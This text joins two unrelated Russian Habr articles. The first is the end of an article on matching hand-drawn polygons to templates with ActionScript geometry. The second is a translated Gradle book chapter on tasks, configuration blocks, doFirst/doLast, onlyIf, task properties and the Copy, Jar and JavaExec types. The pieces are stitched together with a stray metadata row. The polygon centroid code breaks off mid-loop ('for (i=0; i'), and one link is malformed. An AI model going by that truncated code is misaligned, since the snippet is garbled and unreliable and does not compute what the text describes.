##### [F11] Ограничивающий прямоугольник полигона
Ограничивающий прямоугольник задается объектом **bounds={x,y,width,height}**, где x и y — это минимальные координаты вершин полигона, а width и height — разница между максимальными и минимальными координатами вершин.
##### [F12] Центр полигона
Под центром обычно понимают разные сущности, например, центр системы точек или центр масс по площади… Мы будем использовать центр масс, который высчитывается по следующем алгоритму. Необходимо разбить полигон на треугольники, неважно какие, можно просто использовать вершины по порядку. Находим сумму произведений центров треугольников и их площадей и делим эту сумму на общую площадь полигона. Площадь полигона высчитывается как сумма площадей его треугольников.
```
// массив треугольников полигона
var triangles:Array = ... ;
// центр полигона
var centerX:Number = 0;
var centerY:Number = 0;
// площадь полигона
var polygonSquare:Number = 0;
//
for (i=0; i
```
##### [F13] Положение точки относительно полигона
Точка находится внутри полигона в том случае, если эта точка находится **«снизу»** по отношению ко всем ребрам при обходе по часовой стрелке. Положение точки относительно линии можно определить по формуле **F4**. Если точка лежит **«сверху»** относительно всех ребер, значит, она лежит вне полигона
##### [F14] Пересечение бесконечной линии и полигона
Для определения точек пересечения линии **l** с полигоном **P** необходимо найти все точки пересечения прямой **l** со всеми отрезками **e1,e2...**, используя формулу **[F7]**.
Определение схожести фигур
==========================
Итак, что у нас имеется на входе? У нас есть исходный рисунок — полигон **template**, заданный набором вершин v1,v2,...,vn, и есть полигон **draw**, состоящий из набора точек, которые мы получили в процессе рисования. Прежде чем начать их сравнивать, полигон draw необходимо «привести» к полигону template. Т.е. необходимо применить трансформацию сжатия(scale) и смещения(translate) так, что бы центры полигонов совпадали и полигон draw имел с template максимально похожие размеры ограничивающего прямоугольника(bounds.width и bounds.height):
Алгоритм приведения полигонов:
```
// исходный шаблон
var template = ... ;
// нарисованный полигон
var draw = ... ;
// сжатие по ширине
var scaleW:Number = template.bounds.width/draw.bounds.width;
// сжатие по высоте
var scaleH:Number = template.bounds.height/draw.bounds.height;
// среднее значение сжатия
var scale:Number = (scaleW+scaleH)/2;
// применяем трансформацию сжатия
draw.matrixScale(scale);
//
// смещение по X
var dx:Number = draw.centerWeight.x-template.centerWeight.x;
// смещение по Y
var dy:Number = draw.centerWeight.y-template.centerWeight.y;
// применяем трансформацию смещения
draw.matrixTranslate(dx, dy);
```
Имейте ввиду что **centerWeight** — это центр масс полигона.
Определить схожесть фигур можно двумя алгоритмами, назовем их [Радиальный](#rads) и [Габаритный](http://border). Давайте разберем их.
Радиальный алгоритм
-------------------
После того как вы подогнали нарисованный полигон к шаблону, мы можем начать их сравнивать. Суть радиального метода состоит в следующем. Выпускаем из центра луч и находим точки пересечения этого луча с полигонами. Находим расстояние между точками пересечения и запоминаем его. Далее рисуем новый луч с определенным шагом угла, и так же находим расстояние между точками пересечения. Сложив в конце полученные расстояния между точками пересечения, мы получим некоторое значение. Чем меньше это значение, тем ближе нарисованная фигура к шаблону. Пример можно посмотреть на изображении:
Чем больше лучей будут выпущены, тем точнее будет проверка. Также можно задать погрешность, например, на сколько средняя длина между точками пересечения луча с полигонами отличается от ширины/высоты(или среднего арифметического ширины и высоты) ограничивающего прямоугольника полигона-шаблона. Проверить работу алгоритм можно во [флешке](http://flashpress.ru/blog/swc/gc/simples/testRads.swf)
Габаритный алгоритм
-------------------
Габаритный алгоритм заключается в том, что бы задать два ограничивающих полигона, внутри которого должны располагаться все точки рисуемого полигона. Т.е. необходимо создать два клона шаблона и применить к ним трансформацию сжатия: к одному в меньшую сторону, к другому — в большую. Далее проверяем все точки, которые находятся внутри большого полигона и за пределами маленького, после чего можем определить процент не попавших в эту область точек. Пороговое значение процента может быть уровнем точности нарисованной фигуры.
**UPD:** Пример габаритного алгоритма [здесь](http://flashpress.ru/blog/swc/gc/simples/testBorder.swf).
Ссылки
======
Библиотеки используемые для реализации на языке ActionScript: [FPGeometry2d.swc](http://flashpress.ru/blog/libs/) и [FPGeomControl.swc](http://flashpress.ru/blog/libs/). | https://habr.com/ru/post/190866/ | null | ru | null |
# Подробно о задачах Gradle
Перевод второй главы свободно распространяемой книги [Building and Testing with Gradle](http://www.gradleware.com/registered-access?content=books%2Fbuilding-and-testing%2F)
*Задача* (*task*) является основным компонентом процесса сборки в файле билда Gradle. Задачи представляют собой именованные наборы инструкций билда, которые Gradle запускает выполняя сборку приложения. При сравнении с другими билд-системами, задачи могут показаться знакомой абстракцией. Однако Gradle предоставляет более развитую модель, в отличие от той, которая вам уже может быть знакома. По сравнению с традиционными возможностями объявления операций билда, связанных зависимостями, задачи Gradle являются полнофункциональными объектами, которыми вы при желании можете управлять программно.
Рассмотрим какими способами можно определить задачу, два ключевых подхода к определению задач и программный интерфейс, который мы можем использовать для гибкой настройки.
### Объявление задач
Существует простой способ создания задачи. Всё что нужно — указать имя задачи:
###### Пример 1. Объявление задачи по одному только имени
```
task hello
```
Выполнив команду `gradle hello`, получаем результат:
###### Пример 2. Отчёт Gradle о новой задаче
```
------------------------------------------------------------
All tasks runnable from root project
------------------------------------------------------------
Build Setup tasks
-----------------
init - Initializes a new Gradle build. [incubating]
wrapper - Generates Gradle wrapper files. [incubating]
Help tasks
----------
dependencies - Displays all dependencies declared in root project '__project'.
dependencyInsight - Displays the insight into a specific dependency in root project '__project'.
help - Displays a help message
projects - Displays the sub-projects of root project '__project'.
properties - Displays the properties of root project '__project'.
tasks - Displays the tasks runnable from root project '__project'.
Other tasks
-----------
hello
```
### Операция задачи (Task Action)
Выполнение нашей задачи по команде `gradle hello` всё же не произведёт никакого результата, поскольку мы не присвоили ей ни одной *операции* (*action*). Операцию можно присвоить используя оператор сдвиг влево:
###### Пример 3. Добавление простейшей операции
```
task hello << {
println 'hello, world'
}
```
> Операторы, такие как << («сдвиг влево» из Java), могут быть перегружены в Groovy для изменения поведения в зависимости от объектов с которыми они работают. В данном случае << перегружен в Gradle для добавления блока кода в список операций, которые выполняет задача. Сдвиг влево является эквивалентом метода [`doLast()`](#DoLast), который мы рассмотрим ниже.
Теперь у нас есть гибкая возможность добавления кода операции аддитивным способом, ссылаясь на объект задачи, который мы создали:
###### Пример 4. Последовательное добавление операций задачи по одной
```
task hello
hello << {
print 'hello, '
}
hello << {
println 'world'
}
```
Теперь мы снова получили знакомый нам результат выполнения билда:
###### Пример 5. Результат выполнения билда с операциями, добавленными по одной
```
d:\project>gradle hello
:hello
hello, world
BUILD SUCCESSFUL
Total time: 1.916 secs
```
Данное поведение тривиально, однако оно раскрывает важный принцип: задачи не являются статическими неизменяемыми объявлениями операций билда; задачи — полнофункциональные объекты программной среды Gradle. Кроме добавления в них операций аддитивным способом в произвольных местах файла билда, у нас есть ещё и другие возможности. Посмотрим какие.
### Конфигурация задачи
Новые пользователи Gradle обычно путаются в синтаксисе конфигурации когда пытаются определить операции задач. Продолжая предыдущий пример мы можем расширить его, добавив блок конфигурации:
###### Пример 6. Комбинирование конфигурации и операции задачи
```
task initializeDatabase
initializeDatabase << {
println 'connect to database'
}
initializeDatabase << {
println 'update database schema'
}
initializeDatabase {
println 'configuring database connection'
}
```
Запустив такой файл билда, мы получим результат, который покажется нам нелогичным:
###### Пример 7. Результат выполнения файла билда, созданного выше
```
d:\project>gradle initializeDatabase
configuring database connection
:initializeDatabase
connect to database
update database schema
BUILD SUCCESSFUL
Total time: 3.088 secs
```
> Для обозначения блока кода между парой фигурных скобок, в Groovy используется термин «замкнутое выражение» или «замыкание» (closure). Функции-замыкания подобны объектам, которые можно передавать методу как параметр или присваивать переменной, с возможностью последующего выполнения. Они будут повсеместно встречаться вам в Gradle, поскольку в высшей степени подходят в роли блоков, где можно определить конфигурационный код и код операций билда.
Последнее замкнутое выражение выглядит как очередной блок операции билда, и мы ожидаем что вывод его сообщения будет последним, но не первым. Оказывается замыкание, добавленное к имени задачи *без* оператора сдвиг влево совсем не добавляет новую операцию. Вместо этого добавился блок *конфигурации*. Конфигурационный блок задачи выполняется во время *конфигурационной* фазы жизненного цикла Gradle, которая предшествует фазе *выполнения*, во время которой выполняются операции задачи.
> Каждый раз, когда Gradle запускает билд, процесс проходит через три фазы жизненного цикла: инициализация, конфигурация и выполнение. Выполнение — фаза, во время которой задачи билда выполняются в порядке, указанном в настройках их зависимостей. Конфигурация — фаза в которой объекты задачи собираются во внутреннюю объектную модель, обычно называемую *направленным ациклическим графом*. Инициализация — фаза, в которой Gradle принимает решение, какие объекты будут принимать участие в билде. Последняя фаза важна в многопроектных билдах.
> Прим. пер.
>
> Из глоссария: Gradle DAG — *Directed Acyclic Graph* (*направленный ациклический граф*) — направленный, не содержащий циклов, граф. Вершины графа представлены задачами Gradle, которые будут выполняться. Метод [`dependsOn`](#DependsOn), устанавливающий зависимость данной задачи от другой, добавляет другую задачу, как новую вершину (если она ещё не присутствует в графе) и создаёт направленное ребро между двумя вершинами. Любая связь, созданная с помощью [`dependsOn`](#DependsOn), проверяется на наличие циклов. Не должно быть такого пути, при котором выход из определённой вершины, пройдя последовательность рёбер графа, приведёт к первоначальной вершине.
Замыкания конфигурации аддитивны точно так же, как и замыкания операций. Поэтому мы можем написать код файла билда для предыдущего примера способом приведенным ниже, при этом результат выполнения будет тот же, что и раньше:
###### Пример 8. Добавление конфигурационных блоков
```
task initializeDatabase
initializeDatabase << {
println 'connect to database'
}
initializeDatabase << {
println 'update database schema'
}
initializeDatabase {
print 'configuring '
}
initializeDatabase {
println 'database connection'
}
```
Конфигурационный блок — подходящее место для присвоения значений переменных и структур данных, которые используются операцией задачи в дальнейшем, когда она запустится в билде (если только запустится). Структура конфигурации даёт вам возможность превратить задачи вашего билда в сущности развитой объектной модели, заполненные информацией о билде. В этом и состоит отличие задач Gradle от простого набора операций билда, которые выполняются в определённой последовательности. Без такого отличия между конфигурацией и операцией, пришлось бы усложнять настройки зависимостей, что привело бы к потере надёжности и к снижению выразительности средств для связывания основных структур данных билда.
> При запуске Gradle-файла, конфигурационный код билда выполняется полностью, независимо от того, будет ли какая-либо из задач запускаться в фазе выполнения.
### Задачи являются объектами
В этом месте у вас уже могла появиться догадка о том, что Gradle, прежде чем выполнить билд, создаёт его внутреннюю объектную модель. Именно так всё и происходит. Каждая задача, которую вы объявляете, в действительности, становится объектом-задачей в пределах всего проекта билда. У объекта-задачи, как и у любого другого объекта, есть свойства и методы. И ещё мы можем управлять типом каждого объекта-задачи, обращаясь к функциональности, определённой в нём. Несколько примеров помогут нам разобраться.
По умолчанию, каждой новой задаче присваивается тип `DefaultTask`. Подобно тому, как каждый класс наследуется от `java.lang.Object` в Java, в Gradle каждая задача наследуется от данного типа — даже те задачи, которые расширяют возможности `DefaultTask` путём создания нового типа. На самом деле, `DefaultTask`-задачи не делают ничего специфичного, вроде компиляции кода или копирования файлов. Однако они содержат функционал, который требуется для взаимодействия с программной моделью проекта Gradle. Рассмотрим методы и свойства, которые имеет каждая задача в Gradle.
#### Методы DefaultTask
##### dependsOn(task)
Для вызывающей задачи добавляет задачу-зависимость. Задача-зависимость всегда запускается перед задачей, которая от неё зависит. Метод можно вызывать несколькими способами. Пример кода ниже показывает, как мы можем определить зависимость задачи `loadTestData` от `createSchema`:
###### Пример 9. Различные способы вызова метода `dependsOn`
```
task createSchema
// Объявляем зависимость 'loadTestData' от 'createSchema'
// Остальные зависимости, определённые ранее, остаются неизменными
task loadTestData {
dependsOn createSchema
}
// Альтернативный способ указания той же зависимости
task loadTestData {
dependsOn << createSchema
}
// Делаем то же самое, используя одиночные кавычки (которые обычно не нужны)
task loadTestData {
dependsOn 'createSchema'
}
// Явный вызов метода объекта-задачи
task loadTestData
loadTestData.dependsOn createSchema
// Краткая нотация для определения зависимостей
task loadTestData(dependsOn: createSchema)
```
Задача может зависеть от нескольких задач. Если задача `loadTestData` зависит от задач `createSchema` и `compileTestClasses`, мы пишем код следующим образом:
###### Пример 10. Различные способы вызова метода dependsOn для множественных зависимостей
```
task compileTestClasses
task createSchema
// Объявление зависимостей по одной
task loadTestData {
dependsOn << compileTestClasses
dependsOn << createSchema
}
// Передаём зависимости, как список переменной длины
task loadTestData {
dependsOn compileTestClasses, createSchema
}
// Явно вызываем метод объекта-задачи
task loadTestData
loadTestData.dependsOn compileTestClasses, createSchema
// Краткая нотация для определения зависимостей
// Обратите внимание на синтаксис списков Groovy
task loadTestData(dependsOn: [ compileTestClasses, createSchema ])
```
##### doFirst(closure)
Добавляет блок исполняемого кода в начало операции задачи. Во время фазы выполнения запускается блок операции каждой задачи, участвующей в билде. Метод `doFirst` позволяет вам добавлять части логики в начало существующей операции, даже если эта операция уже определена в файле билда или внешнем модуле (plug-in), к которому у вас нет доступа. Многократные вызовы `doFirst` добавляют новые блоки с кодом операций в начало последовательности выполнения задачи.
Метод `doFirst` можно вызывать напрямую для объекта-задачи, передавая ему замыкание, которое содержит код, который будет выполнен перед текущей операцией задачи.
> Как мы уже говорили, замыкание — это блок Groovy кода, заключённый между парой фигурных скобок. Замыкание можно передавать методу как любой другой объект. Возможность пердавать методам замкнутые выражения является стилевой особенностью Groovy.
###### Пример 11. Вызов метода doFirst
```
task setupDatabaseTests << {
// Здесь определена текущая операция задачи
println 'load test data'
}
setupDatabaseTests.doFirst {
println 'create schema'
}
```
###### Пример 12. Результат выполнения прошлого файла билда
```
d:\project>gradle setupDatabaseTests
:setupDatabaseTests
create schema
load test data
BUILD SUCCESSFUL
Total time: 1.935 secs
```
`doFirst` можно также вызывать в конфигурационном блоке задачи. Как мы уже говорили, конфигурационный блок — это часть исполняемого кода, которая запускается во время конфигурационной фазы билда, перед тем как будут выполнены операции задачи. Когда мы рассматривали выше конфигурацию задач, у вас мог возникнуть вопрос: где можно использовать конфигурационные блоки? Следующий пример покажет вам, как можно вызывать методы задачи внутри конфигурационного блока, что в перспективе делает очень выразительным синтаксис формата изменения поведения задачи:
###### Пример 13. Вызов метода `doFirst` внутри конфигурационного блока задачи
```
task setupDatabaseTests << {
println 'load test data'
}
setupDatabaseTests {
doFirst {
println 'create schema'
}
}
```
Повторные вызовы `doFirst` аддитивны. Код операции каждого предыдущего вызова сохраняется, и новое замыкание добавляется в начало списка, готовое выполниться в соответствующем порядке. Например, если нам нужно настроить базу данных для интеграционного тестирования (разбив этапы настройки по частям), можно использовать следующий код:
###### Пример 14. Повторные вызовы `doFirst` обладают свойством аддитивности
```
task setupDatabaseTests << {
println 'load test data'
}
setupDatabaseTests.doFirst {
println 'create database schema'
}
setupDatabaseTests.doFirst {
println 'drop database schema'
}
```
###### Пример 15. Результат выполнения предыдущего примера
```
d:\project>gradle setupDatabaseTests
:setupDatabaseTests
drop database schema
create database schema
load test data
BUILD SUCCESSFUL
Total time: 3.126 secs
```
В предыдущем примере разделение инициализации на три отдельных замыкания с вызовом `doFirst()` было, конечно же, несколько искусственным шагом. Однако, бывают случаи, когда исходный код задачи недоступен. Например, задача определена в другом файле билда, модифицировать который невозможно или непрактично. Рассматриваемый способ программной модификации недоступной логики открывает нам широкие возможности.
До сих пор в наших примерах использовался очень простой синтаксис, который раскрывает принципы работы Gradle за счёт многократных добавлений замыканий. Вероятнее всего, в реальном билде мы организуем задачу следующим образом (всё так же, вместо настоящих тестовых операций мы используем операторы `println`):
###### Пример 16. Повторные вызовы doFirst после рефакторинга
```
// Исходное определение задачи (может быть недоступно для редактирования)
task setupDatabaseTests << {
println 'load test data'
}
// Наши изменения задачи (в файле, где мы можем вносить изменения)
setupDatabaseTests {
doFirst {
println 'create database schema'
}
doFirst {
println 'drop database schema'
}
}
```
Обратите внимание на то что мы собрали вместе несколько вызовов `doFirst` внутри одного конфигурационного блока, после того как начальная операция уже была добавлена в задачу `setupDatabaseTests`.
##### doLast(closure)
Метод `doLast` очень похож на метод [`doFirst`](#DoFirst), с той лишь разницей, что он добавляет поведение в конец операции, а не в начало. Если вам нужно запустить блок кода после того как некоторая задача закончит выполнение, вы можете поступить следующим образом:
###### Пример 17. Использование метода doLast
```
task setupDatabaseTests << {
println 'create database schema'
}
setupDatabaseTests.doLast {
println 'load test data'
}
```
###### Пример 18. Повторные вызовы doLast аддитивны
```
task setupDatabaseTests << {
println 'create database schema'
}
setupDatabaseTests.doLast {
println 'load test data'
}
setupDatabaseTests.doLast {
println 'update version table'
}
```
> Как уже говорилось ранее, в параграфе [Операция задачи](#TaskAction), оператор << является ещё одним способом вызова метода `doLast()`.
##### onlyIf(closure)
Метод `onlyIf` представляет собой предикат, который определяет, будет ли выполнена задача. Значением предиката считается значение, возвращаемое замыканием. При помощи данного метода вы можете деактивировать выполнение задачи, которая иначе запустится в обычном порядке запуска последовательности зависимостей билда.
> В Groovy последнее выражение внутри замыкания определяет его возвращаемое значение, даже если отсутствует оператор `return`. Метод Groovy, в котором определено только одно выражение, является функцией, возвращающей значение этого выражения.
###### Пример 19. Билд-файл, в котором используется метод `onlyIf`
```
task createSchema << {
println 'create database schema'
}
task loadTestData(dependsOn: createSchema) << {
println 'load test data'
}
loadTestData.onlyIf {
System.properties['load.data'] == 'true'
}
```
###### Пример 20. Два варианта запуска файла билда. Обратите внимание на разницу в результатах
```
d:\project>gradle loadTestData
:createSchema
create database schema
:loadTestData SKIPPED
BUILD SUCCESSFUL
Total time: 4.361 secs
d:\project>gradle -Dload.data=true loadTestData
:createSchema
create database schema
:loadTestData
load test data
BUILD SUCCESSFUL
Total time: 2.005 secs
```
При помощи метода `onlyIf` вы можете включать и отключать отдельные задачи, используя логику, выражаемую Groovy-кодом, что не ограничиваться одной лишь проверкой простого свойства `System`, которое мы использовали в примере. У вас есть возможности открывать файлы для чтения, вызывать Веб-сервисы, проверять логины-пароли и делать многое другое, что можно делать в коде.
#### Свойства DefaultTask
##### didWork
Свойство типа `boolean`, указывающее, завершилась ли задача успешно. Не все задачи устанавливают значение `didWork` к моменту завершения. Однако некоторые задачи, такие как `Compile`, `Copy` и `Delete`, устанавливают значение данного свойства для передачи информации о том что их операции выполнены либо успешно, либо с ошибками. Вычисление значения, указывающего на то, что задача уже выполнилась, специфично для разных задач. Вы можете установить значение `didWork` в вашей задаче для отражения результатов выполнения созданного вами кода сборки:
###### Пример 21. Отправка электронного письма для случая, когда компиляция прошла успешно
```
apply plugin: 'java'
task emailMe(dependsOn: compileJava) << {
if (tasks.compileJava.didWork) {
println 'SEND E-MAIL ANNOUNCING SUCCESS'
}
}
```
###### Пример 22. Результаты выполнения билда с испльзованием didWork
```
d:\project>gradle emailMe
:compileJava
:emailMe
SEND E-MAIL ANNOUNCING SUCCESS
BUILD SUCCESSFUL
Total time: 4.232 secs
```
##### enabled
Свойство типа `boolean`, указывающее на то, будет ли выполняться задача. Вы можете отключить выполнение задачи, установив свойству `enabled` значение `false`. Зависимости задачи выполнятся в том же порядке, как если бы задача не была отключена.
###### Пример 23. Отключение задачи
```
task templates << {
println 'process email templates'
}
task sendEmails(dependsOn: templates) << {
println 'send emails'
}
sendEmails.enabled = false
```
###### Пример 24. Билд с отключенной задачей. Обратите внимание, зависимость всё так же запускается
```
d:\project>gradle -b enabled.gradle sendEmails
:templates
process email templates
:sendEmails SKIPPED
BUILD SUCCESSFUL
Total time: 3.271 secs
```
> Параметр командной строки **-b** указывает Gradle на отличный от файла по умолчанию файл билда. По умолчанию Gradle ищет файл с называнием `build.gradle`, но данный параметр командной строки позволяет нам указать другой файл билда.
##### path
Свойство строчного типа, содержащее полный путь задачи. По умолчанию, путём задачи является имя задачи с символом двоеточие впереди.
###### Пример 25. Одноуровневый файл билда, который отображает путь единственной задачи определённой в нём
```
task echoMyPath << {
println "THIS TASK'S PATH IS ${path}"
}
```
###### Пример 26. Результаты выполнения предыдущего файла билда
```
d:\project>gradle echoMyPath
:echoMyPath
THIS TASK'S PATH IS :echoMyPath
BUILD SUCCESSFUL
Total time: 3.135 secs
```
Двоеточие впереди указывает на то, что задача определена на верхнем уровне файла билда. Расположение задач на верхнем уровне, однако, не является обязательным. Gradle поддерживает зависимые подпроекты, или вложенные билды. Если задача определёна во вложенном билде с названием `subProject`, путь будет `:subProject:echoMyPath`.
##### logger
Ссылка на внутренний объект Gradle `logger`. В Gradle `logger` реализует интерфейс `org.slf4j.Logger` с несколькими дополнительными уровнями логирования. Ниже описаны уровни логирования, поддерживаемые объектом `logger`. Установка уровню логирования одного из значений ниже включает логирование на всех последующих уровнях, кроме `WARN` и `QUIET`:
* `DEBUG`. Для подробных сообщений логирования, которые нужны разработчику билда, однако не должны выводиться в момент выполнения билда в нормальном режиме. Если выбран данный уровень, Gradle автоматически использует расширенный формат, который в каждом сообщении вставляет метку времени, уровень логирования, и имя задачи, производящей логирование. Остальные уровни используют более краткий формат сообщений.
* `INFO`. Нужен для менее информативных сообщений билда, играющих второстепенную роль во время выполнения билда.
* `LIFECYCLE`. Малоинформативные сообщения об изменениях в жизненном цикле билда и процессе выполнениия самого инструмента, запустившего сборку проекта. Обычно генерируются самим Gradle. Данный уровень используется по умолчанию, когда Gradle запускается без опции командной строки **-q**. Данный уровень логирования назначается сообщениям, выводимым оператором `println`.
* `WARN`. Малоинформативные, но важные сообщения, информирующие о потенциальных проблемах билда. Когда уровень логирования установлен в `WARN`, сообщения уровня `QUIET` не выводятся.
* `QUIET`. Сообщения, которые выводятся даже если вывод сообщений был отключен параметром командной строки **-q**. (Выполнение билда с параметром **-q** делает `QUIET` уровнем логирования по умолчанию). Данный уровень логирования назначается сообщениям, выводимым оператором `System.out.println`. Когда уровень логирования установлен в `QUIET`, сообщения уровня `WARN` не выводятся.
* `ERROR`. Редкие, но важные сообщения, кототые выводятся на всех уровнях логирования. Сообщения информируют о завершении билда с ошибками. Если `ERROR` — текущий уровень логирования, вызовы `System.out.println` не будут выводиться в консольном окне.
###### Пример 27. Задача демонстрирует эффект применения всех уровней логирования. Несколько более сложный код Groovy устанавливает уровень логирования для каждой из возможных опций, определённых в списке. Таким образом, каждый раз осуществляется вывод сообщений на каждом из уровней логирования
```
task logLevel << {
def levels = ['DEBUG', 'INFO', 'LIFECYCLE', 'QUIET', 'WARN', 'ERROR']
levels.each { level ->
logging.level = level
def logMessage = "SETTING LogLevel=${level}"
logger.error logMessage
logger.error '-' * logMessage.size()
logger.debug 'DEBUG ENABLED'
logger.info 'INFO ENABLED'
logger.lifecycle 'LIFECYCLE ENABLED'
logger.warn 'WARN ENABLED'
logger.quiet 'QUIET ENABLED'
logger.error 'ERROR ENABLED'
println 'THIS IS println OUTPUT'
logger.error ' '
}
}
```
###### Пример 28. Результат выполнения прошлого файла билда
```
d:\project>gradle logLevel
19:35:44.677 [LIFECYCLE] [class org.gradle.TaskExecutionLogger]
19:35:44.699 [ERROR] [org.gradle.api.Task] SETTING LogLevel=DEBU
19:35:44.732 [ERROR] [org.gradle.api.Task] ---------------------
19:35:44.747 [DEBUG] [org.gradle.api.Task] DEBUG ENABLED
19:35:44.760 [INFO] [org.gradle.api.Task] INFO ENABLED
19:35:44.775 [LIFECYCLE] [org.gradle.api.Task] LIFECYCLE ENABLED
19:35:44.788 [WARN] [org.gradle.api.Task] WARN ENABLED
19:35:44.801 [QUIET] [org.gradle.api.Task] QUIET ENABLED
19:35:44.812 [ERROR] [org.gradle.api.Task] ERROR ENABLED
19:35:44.857 [QUIET] [system.out] THIS IS println OUTPUT
19:35:44.868 [ERROR] [org.gradle.api.Task]
SETTING LogLevel=INFO
---------------------
INFO ENABLED
LIFECYCLE ENABLED
WARN ENABLED
QUIET ENABLED
ERROR ENABLED
THIS IS println OUTPUT
SETTING LogLevel=LIFECYCLE
--------------------------
LIFECYCLE ENABLED
WARN ENABLED
QUIET ENABLED
ERROR ENABLED
THIS IS println OUTPUT
SETTING LogLevel=QUIET
----------------------
QUIET ENABLED
ERROR ENABLED
THIS IS println OUTPUT
SETTING LogLevel=WARN
---------------------
WARN ENABLED
QUIET ENABLED
ERROR ENABLED
THIS IS println OUTPUT
SETTING LogLevel=ERROR
----------------------
ERROR ENABLED
BUILD SUCCESSFUL
Total time: 2.184 secs
```
##### logging
Свойство `logging` даёт нам возможность управлять уровнем логирования. Как уже было показано в примере для [свойства `logger`](#Logger), уровень логирования билда можно получать и изменять, используя свойство `logging.level`.
##### description
Свойство `description`, как видно из названия, описывает назначение задачи небольшим количеством метаданных, доступных для понимания человека. Значение `description` можно указать несколькими способами:
###### Пример 29. Одновременно задаём описание задачи и поведение
```
task helloWorld(description: 'Says hello to the world') << {
println 'hello, world'
}
```
###### Пример 30. Два способа объявления поведения задачи и задания описания
```
task helloWorld << {
println 'hello, world'
}
helloWorld {
description 'Says hello to the world'
}
// Ещё один способ
helloWorld.description 'Says hello to the world'
```
##### temporaryDir
Свойство `temporaryDir` возвращает объект `File`, который ссылается на временную директорию текущего файла билда. Такая директория создаётся для временного хранения промежуточных результатов работы задачи, или для организации файлов, которые задача будет обрабатывать.
#### Динамические свойства
Как мы уже видели, задачи содержат набор внутренних свойств, играющих важную роль для пользователей Gradle. В добавок к этому, мы можем также определить в задаче новые свойства. Объект-задача работает как хеш-таблица, которая может хранить любые имена свойств и значения, которые мы присваиваем свойствам (при условии, что наши имена свойств не конфликтуют с именами встроенных свойств).
Рассмотрим пример: задача `createArtifact` зависит от задачи `copyFiles`. Цель `copyFiles` — собрать файлы из нескольких источников и скопировать их во временную директорию, которую `createArtifact` в дальнейшем преобразует в артифакт установки. Список файлов звисит от параметров билда, но для соответствия специфическим требованиям установленного приложения, в артифакте должен храниться манифест, перечисляющий файлы. Здесь очень удобно использовать динамическое свойство:
###### Пример 31. Билд-файл, в котором показан пример динамического свойства
```
task copyFiles {
// Где угодно находим файлы, копируем их
// (здесь для наглядности используем фиксированный список)
fileManifest = [ 'data.csv', 'config.json' ]
}
task createArtifact(dependsOn: copyFiles) << {
println "FILES IN MANIFEST: ${copyFiles.fileManifest}"
}
```
###### Пример 32. Результат выполнения файла билда в прошлом примере
```
d:\project>gradle -q createArtifact
FILES IN MANIFEST: [data.csv, config.json]
```
### Типы задач
Как мы уже говорили ранее, в параграфе [Задачи являются объектами](#TasksAreObjects), каждая задача имеет тип. Кроме типа `DefaultTask`, есть ещё другие типы задач для копирования, архивирования, запуска программ и других действий. Объявление типа задачи во многом похоже на наследование от базового класса в объектно-ориентированном языке. Таким образом, реализовав наследование, вы тут же получаете определённые свойства и методы в вашей задаче. Подобный синтаксис значительно укорачивает определение задач, при том что возможности по-прежнему остаются большими.
Рассмотрение полной документации по задачам находится за рамками излагаемого здесь материала, но всё же мы рассмотрим несколько важных типов с примерами использования.
#### Copy
Задача `Copy` копирует файлы из одного места в другое. В простейшем случае — копирует файлы из одной директории в другую, с некоторыми дополнительными ограничениями по включению или исключению файлов, используя маски имён:
###### Пример 33. Простейший пример использования задачи `Copy`
```
task copyFiles(type: Copy) {
from 'resources'
into 'target'
include '**/*.xml', '**/*.txt', '**/*.properties'
}
```
#### Jar
Задача `Jar` создаёт Jar-файл из файлов ресурсов. Задача данного типа c известным названием `Jar` определена в модуле `'java'`. Задача упаковывает \*.class-файлы и ресурсы в Jar-файл с названием проекта, при этом использует обычный манифест. Результат сохраняется в директорию `build/libs`. Данная задача в высокой степени обладает гибкостью.
###### Пример 34. Простейший пример использования задачи `Jar`
```
apply plugin: 'java'
task customJar(type: Jar) {
manifest {
attributes firstKey: 'firstValue', secondKey: 'secondValue'
}
archiveName = 'hello.jar'
destinationDir = file("${buildDir}/jars")
from sourceSets.main.output
}
```
Обратите внимание — имя архива и целевая папка легко конфигурируются. Таким же образом можно менять значения файла манифеста, используя простой синтаксис словарей Groovy. Содержимое JAR-файла определяется строкой `from sourceSets.main.output`, которая включает .class-файлы. Метод `from` идентичен методу, который используется в примере `CopyTask`, что обнаруживает одну интересную деталь: задача `Jar` наследуется от задачи `Copy`. Зная эту особенность, вы можете ещё не заглянув в документацию сделать некоторые выводы о широких возможностях и порядке структуры классов, лежащей в основе задачи `Jar`.
`destinationDir` присваивается очень простое выражение. Было бы естественнее, если бы свойству `destinationDir` присваивалась строка. Но свойство работает с объектами `java.io.File`. На помощь приходит метод `file()`, который всегда доступен в коде билд файла Gradle. Он конвертирует строку в объект `File`.
> Помните, вы всегда можете найти документацию `docs/dsl/index.html`, где описаны стандартные возможности Gradle, такие как задача `Jar`. Описание всех возможностей задачи `Jar` лежит за рамками нашей главы.
#### JavaExec
Задача `JavaExec` запускает Java-класс c методом `main()`. Запуск консольного Java-приложения может быть сопряжён с неудобствами. Однако данная задача избавляет от неудобств, интегрируя консольные Java-приложения в ваш билд:
###### Пример 35. Задача Gradle запускает консольное Java-приложение (пример взят из [javaexec-task](https://github.com/gradleware/oreilly-gradle-book-examples/tree/master/tasks-javaexec-task))
```
apply plugin: 'java'
repositories {
mavenCentral()
}
dependencies {
compile 'commons-codec:commons-codec:1.6'
runtime 'commons-codec:commons-codec:1.6'
}
task encode(type: JavaExec, dependsOn: classes) {
main = 'org.gradle.example.commandline.MetaphoneEncoder'
args = "The rain in Spain falls mainly in the plain".split().toList()
classpath sourceSets.main.output.classesDir
classpath configurations.runtime
}
```
```
package org.gradle.example.commandline;
import org.apache.commons.codec.language.Metaphone;
public class MetaphoneEncoder {
public static void main(String args[]) {
Metaphone codec = new Metaphone();
String phrase = "";
String encoded = "";
for (String s : args) {
phrase += s.toUpperCase() + " ";
encoded += codec.encode(s) + " ";
}
System.out.println("PHRASE =" + phrase);
System.out.println("ENCODED=" + encoded);
}
}
```
> В задаче `encode` свойству `classpath` присваивается `configurations.runtime`. `configurations` это коллекция зависимостей, объединённых по общим признакам. В нашем случае `runtime` содержит те зависимости, которые должны быть доступны для приложения во время выполнения. Такие зависимости отличны от зависимостей, которые необходимы для компиляции (`compile`), запуска тестов, или зависимостей, которые нужны для компиляции и запуска одновременно, но представлены такой средой выполнения, как сервер приложений. Свойство `configurations` в Gradle это коллекция всех конфигураций, определённых в билде, каждая из которых в свою очередь является коллекцией реальных зависимостей.
